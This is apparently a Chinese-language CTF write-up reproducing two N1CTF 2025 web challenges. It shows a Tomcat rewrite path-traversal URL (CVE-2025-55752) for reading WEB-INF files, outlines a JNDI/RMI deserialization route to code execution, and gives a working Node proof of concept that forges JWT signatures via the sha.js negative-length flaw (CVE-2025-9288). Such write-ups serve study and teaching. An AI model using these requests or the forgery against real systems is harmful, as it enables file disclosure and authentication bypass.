前言
打一半倦了,没精力打只能后面复现下题目
参考:
https://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/
n1cat(复现)
CVE-2025-55752 + 高版本 JNDI 注入 + 最新最热 jdk17 原生链
给了一个 apache 配置文件
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
/download 路由接收一个 path 参数
测试发现服务器版本为 Tomcat/9.0.108
有 CVE-2025-55752:https://cn-sec.com/archives/4639480.html
那么构造 url:/download?path=%2fWEB-INF/web.xml
web.xml
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>welcomeServlet</servlet-name>
<servlet-class>ctf.n1cat.welcomeServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>welcomeServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
得知类名称与路径 /download?path=%2fWEB-INF/classes/ctf/n1cat/welcomeServlet.class
package ctf.n1cat;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "welcomeServlet",
value = {"/"}
)
public class welcomeServlet extends HttpServlet {
private static final String DEFAULT_NAME = "guest";
private static final String DEFAULT_WORD = "welcome";
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (this.shouldDelegate(pathWithinApp)) {
this.delegateToDefaultResource(pathWithinApp, request, response);
} else {
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!this.isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
if (this.isBlank(jsonPayload)) {
response.sendRedirect(this.defaultRedirectTarget(request));
} else {
try {
User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (this.isBlank(name) || this.isBlank(word)) {
response.sendRedirect(this.defaultRedirectTarget(request));
return;
}
this.renderResponse(response, name, word, url);
} catch (JsonProcessingException var14) {
response.sendError(400, "Invalid JSON payload");
} catch (RuntimeException var15) {
response.sendError(400, "Invalid user data");
}
}
}
}
private boolean shouldDelegate(String pathWithinApp) {
return pathWithinApp != null && !pathWithinApp.isEmpty() && !"/".equals(pathWithinApp);
}
private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = this.getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}
}
private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
try (PrintWriter out = response.getWriter()) {
out.println("<html><body>");
String var10001 = this.escapeHtml(name);
out.println("<h1>" + var10001 + "</h1>");
var10001 = this.escapeHtml(word);
out.println("<p>" + var10001 + "</p>");
if (!this.isBlank(url)) {
var10001 = this.escapeHtml(url);
out.println("<p>URL: " + var10001 + "</p>");
}
out.println("</body></html>");
}
}
private String escapeHtml(String input) {
return input == null ? "" : input.replace("&", "&").replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'");
}
private String defaultRedirectTarget(HttpServletRequest request) {
String var10000 = request.getContextPath();
return var10000 + "/?name=" + this.urlEncode("guest") + "&word=" + this.urlEncode("welcome");
}
private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private String urlEncode(String value) {
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
还有一个 User 类
package ctf.n1cat;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class User {
private String name;
private String word;
private String url;
public String getName() {
return this.name;
}
public String getWord() {
return this.word;
}
public void setWord(String password) {
this.word = password;
}
public void setName(String name) throws NamingException {
this.name = name;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
try {
(new InitialContext()).lookup(url);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
}
jdk17,考虑调用 setUrl 打高版本 jndi 注入,但是 jdk17 的 jndi 注入不太可能,考虑构造 RMI 恶意服务端打客户端
可以看到有 jackson 依赖,继续利用文件读取爆破一下 lib 目录下的依赖与版本号,可以发现 jackson 的版本号为 2.19.2,同时发现 spring-aop-5.3.33
那么可以考虑打最新最热的 jdk17 原生链,起一个 RMI Server 然后返回这条链子的序列化 payload 到对面客户端触发反序列化即可 RCE


eezzjs(复现)
CVE-2025-9288
package.json
{
"name": "eezzjs",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"ejs": "^3.1.9",
"express": "^4.18.2",
"multer": "^1.4.5-lts.1",
"sha.js": "2.4.10"
},
"keywords": [],
"author": "",
"license": "ISC"
}
sha.js 有 CVE-2025-9288
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
跟进这里的 hash.update 观察漏洞的原理
Hash.prototype.update = function (data, enc) {
if (typeof data === 'string') {
enc = enc || 'utf8'
data = Buffer.from(data, enc)
}
var block = this._block
var blockSize = this._blockSize
var length = data.length
var accum = this._len
for (var offset = 0; offset < length;) {
var assigned = accum % blockSize
var remainder = Math.min(length - offset, blockSize - assigned)
for (var i = 0; i < remainder; i++) {
block[assigned + i] = data[offset + i]
}
accum += remainder
offset += remainder
if ((accum % blockSize) === 0) {
this._update(block)
}
}
this._len += length
return this
}
调试一下可以发现,validMessage 这里是三组 32 长度的 buffer,而 receivedMessage 这里第一组是我们插入的字符串,第二组是 length,值为前面字符串长度的负数,第三组则是连在一起的 validMessage 长度为 96
而这样做在经过 messages.forEach((m) => hash.update(m)) 后会使得实际进行 sha256 计算的仍为后面 96 长度的 buffer
总结一下就是在加密体里插入一个新的部分并插入 {length: -x},会使得 hash 回滚,与之前未插入计算的 hash 值一样
那么我们只需要计算新插入的总 length 为 0 即可利用这个漏洞
观察 sha256 在题目中的运用:
const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
const header = { alg: 'HS256', typ: 'JWT' };
const now = Math.floor(Date.now() / 1000);
console.log(payload)
const body = { ...payload, length:payload.username.length,iat: now };
if (expiresIn) {
body.exp = now + expiresIn;
}
return [
toBase64Url(JSON.stringify(header)),
toBase64Url(JSON.stringify(body)),
sha256(...[JSON.stringify(header), body, secret])
].join('.');
};
const verifyJWT = (token, secret = JWT_SECRET) => {
if (typeof token !== 'string') {
return null;
}
const parts = token.split('.');
if (parts.length !== 3) {
return null;
}
const [encodedHeader, encodedPayload, signature] = parts;
let header;
let payload;
try {
header = JSON.parse(fromBase64Url(encodedHeader).toString());
payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
return null;
}
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
let providedSignature;
let expectedSignature;
try {
providedSignature = Buffer.from(signature, 'hex');
expectedSignature = Buffer.from(expectedSignatureHex, 'hex');
} catch (err) {
return null;
}
if (
providedSignature.length !== expectedSignature.length ||
!crypto.timingSafeEqual(providedSignature, expectedSignature)
) {
return null;
}
if (header.alg !== 'HS256') {
return null;
}
if (payload.exp && Math.floor(Date.now() / 1000) >= payload.exp) {
return null;
}
return payload;
};
signJWT 中,body 的组成是 { ...payload, length:payload.username.length,iat: now },我们可以修改 sha256 sign 部分 body 里的 length 来利用漏洞
而 verifyJWT 中期望的 sign 是 sha256(...[JSON.stringify(header), body, secret]),我们在未知 secret 的情况下,要构造 sha256 与前者相等就需要把 secret 的长度一同覆盖掉,即最终的总长度为 0
编写 poc,需要修改 body 部分的 length:
const crypto = require('crypto');
const sha = require('sha.js');
const sha256 = (...messages) => {
const hash = sha('sha256');
messages.forEach((m) => hash.update(m));
return hash.digest('hex');
};
const { verifyJWT } = require('./auth');
const toBase64Url = (input) => {
const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input);
return buffer
.toString('base64')
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
};
const mysecret = crypto.randomBytes(9).toString('hex')
const header = { alg: 'HS256', typ: 'JWT' };
const len = -(JSON.stringify(header).length + mysecret.length);
const signJWT = (payload, { expiresIn } = {}, secret = mysecret) => {
const header = { alg: 'HS256', typ: 'JWT' };
const now = Math.floor(Date.now() / 1000);
console.log(payload)
const body = { ...payload, length: len, iat: now };
if (expiresIn) {
body.exp = now + expiresIn;
}
return [
toBase64Url(JSON.stringify(header)),
toBase64Url(JSON.stringify(body)),
sha256(...[JSON.stringify(header), body, secret])
].join('.');
};
token = signJWT({ username: "admin" }, mysecret)
console.log(token)
console.log(verifyJWT(token, mysecret))
